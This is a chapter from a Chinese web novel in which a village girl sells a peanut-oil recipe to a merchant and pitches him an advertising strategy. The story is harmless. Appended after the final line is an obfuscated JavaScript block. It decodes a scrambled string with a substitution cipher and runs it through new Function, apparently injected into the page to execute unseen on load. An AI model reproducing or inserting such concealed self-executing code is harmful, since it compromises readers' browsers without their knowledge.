王谦益本来并不在意，接过来时脸上还带笑，但看着看着，神情便渐渐认真起来，小舅舅在旁看着，心都悬了起来，转头看了看林宝月。
林宝月镇定自若。
王谦益看完了，把纸压到手底下，沉吟了一会儿，指了指罐子，道：“那就是吗？”
林宝月点了点头，就把罐子拿过来，打开奉上。
这是现代买的花生油，当然是黄亮澄清，香气扑鼻，毫无沉淀。
王谦益闻了闻，连声道：“不错不错……出油量有多少？”
林宝月道：“四成左右。”
四成是现代生产工艺，古代行不行她不知道，但应该也差不了多少。
王谦益连连点头：“好，好，好！果然是好礼，果然是‘灶中一味’啊！”
小舅舅看着东家这样，也稍稍放心。
王谦益又问她：“你这方子是何处得来，可方便说？”
林宝月道：“没有什么不方便的。这是我父亲生前自己琢磨的，因为我们村之前种花生多，父亲就时常琢磨花生的吃法用法，后来无意中试出可以出油，私下带着我试了几回，便试了出来，只是父亲还未来得及做什么，便去世了。”
王谦益温言道：“节哀。”
林宝月无声点头，王谦益又道：“如今你怎么又拿出来了呢？”
林宝月坦然道：“父亲去世，又逢旱灾，家里日子艰难，我没办法，才想到这个的。”
这句话的意思就是，我要钱。
这会儿，她就是一个小农女，不适合玩深沉装清高，这种容易复制的东西也不好卖关子。
卖这东西，一看对方的良心，二看对方的脑子。
毕竟在没脑子的商人看来，不就是多了一种油么，他不会想到花生的产量啊，种植等等一系列问题，想不到这必定会成为一种最方便易得的一种油，占据大量的市场份额。
但好在，王谦益明显是有脑子的。
他就笑了。
对他来说，要钱才是最简单的。
但他仍是道：“我与你说，也不知你懂不懂，这种东西，其实旁人很容易仿制……”
瞧，长得像个菩萨，本质上还是个商人，这就是在压价了。
但，这是她的舒适圈啊，她可太了解商人了。
林宝月笑眯眯点了点头：“对呀，很容易仿制的，我当时也是这么跟爹爹说的，爹爹便笑了，说道，确实容易仿制，但最早想到便是财富，会做生意的人，自然可以抓住这先机。”
王谦益挑眉：“哦？如何抓住先机？”
林宝月便续道：“爹爹当时说道，你可知‘先入为主’？假设我们就是一户商贾，我们要卖花生油，我们可以多多囤货，同时大量上架，然后创造一个琅琅上口的口号，广而告之，譬如‘林家花生油，滴滴香万家’、又譬如大气一点的‘天下花生油，好吃找林家’，这就叫先入为主。”
“等大家都记住这广告语，就记住了林家，等别家试出来，再跟风制出来，怎么也有一两个月的时间，这个时间，已经足够我们把‘目标客户’卖上一遍，也足够大家记住这句广告语。此时别家再上架，大家心里就会觉得他们不如我们正宗，我们仍旧可以卖得很好，就算别家打价格战，赔钱赚吆喝，这段时间，我们也足够回本了，之后，慢慢卖便是了。”
她故意用了一些现代词儿，又一听就能懂是什么意思。
本来这就是一个酒香不怕巷子深的年代，这种销售方式就很新，这样就更显得耳目一新，比起以势压人的卖法，更胜一筹。
王谦益直听得不住点头，笑道：“令尊大人倒是个极有见地之人！”
林宝月蹲了蹲身：“多谢东家称赞。”
王谦益笑了笑，又道：“你这小孩儿，十分聪明，但我还是要教你一个乖，你要卖方子，拿油来便好，你直接把方子给了我，太过君子，就不怕我拿了方子不认帐？”
林宝月道：“小女子来见君子，自然要行君子之道。”
她倚小卖小，浅浅一笑，“实则小女子真不敢称君子，我昨儿很小人的先跑来打听了一番，许多店铺都问过，也问过小舅舅，小舅舅对东家老爷极为敬仰臣服，赞东家老爷侠骨仁心，待人公正，待下宽容，乃是难得的义商仁商，光成语就用了十来个，我也背不过……”
她一边说，王谦益就忍不住笑了。
林宝月保持微笑，续道：“小舅舅信东家，我信小舅舅，故此昨儿回去，才特意请了同村的韩松韩公子，帮忙写齐了方子，今儿才敢来见王东家……一见之下，果然实至名归，王东家风采夺人，小女子十分庆幸今日做了君子。”
王谦益哈哈大笑。
最终他爽快道：“好好好，你这孩子有趣得很，这方子也确实有用，这样罢，孙平……”
身后随从赶紧上前施礼，王谦益道：“给她一百两。”
小舅舅微吃一惊，连忙上前称谢，林宝月也上前谢过，双手接了银票。
王谦益摆摆手，认真向她道：“我也不瞒你，这东西，我会送回本家，按理说，这一份‘先机’确实难得，但本家那边的态度，我尚不知，这一百两是我给你的，之后若有，是你该得的，若没有了，你也不要怨怼。”
“是，我明白的。”林宝月道：“王家家大业大，自当谨言慎行。我先谢过王东家的赏。”
王谦益微讶看了她一会儿。
林宝月保持微笑。
王谦益点了点头：“你这小姑娘，确实聪明，可惜了。”
他没再多说，摆了摆手，林宝月便退了出去，走出去的时候，朝小舅舅使了个眼色。
小舅舅连忙道：“东家，我叮嘱孩子几句。”
王谦益笑着点头，小舅舅才追了出来，一肚子话不知道先说哪句，末了只道：“这银子可千万放好了，别胡花花，长庚好生看着她。”
林长庚连忙应了，林宝月笑道：“舅舅放心，我如今长大了，不像以前那么胡闹了。”
小舅舅叹了口气：“确实长大了，今儿，连舅舅都刮目相看了！”
林宝月上前一步，小声在他耳边道：“舅舅，我们村的韩松，就是帮我写方子的人，他师从长洲先生，长洲先生姓高名轩，原本任户部侍郎，此时因为父丧丁忧在家，暂居咱们县城。”
小舅舅吃惊的瞪大了眼，半晌点点头：“好，舅舅知道了。”
她特意留着这重要消息没说，到时候王谦益肯定要跟舅舅打听，舅舅除了可以回忆一下爹爹，还可以提供重要信息，对他也是好事儿。
这会儿不好多说，林宝月两人便先走了。
走出一段路，林长庚才道：“你……”他一时都不知道要怎么说：“方才你的样子，我都要不认识你了，你怎么懂这么多？”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();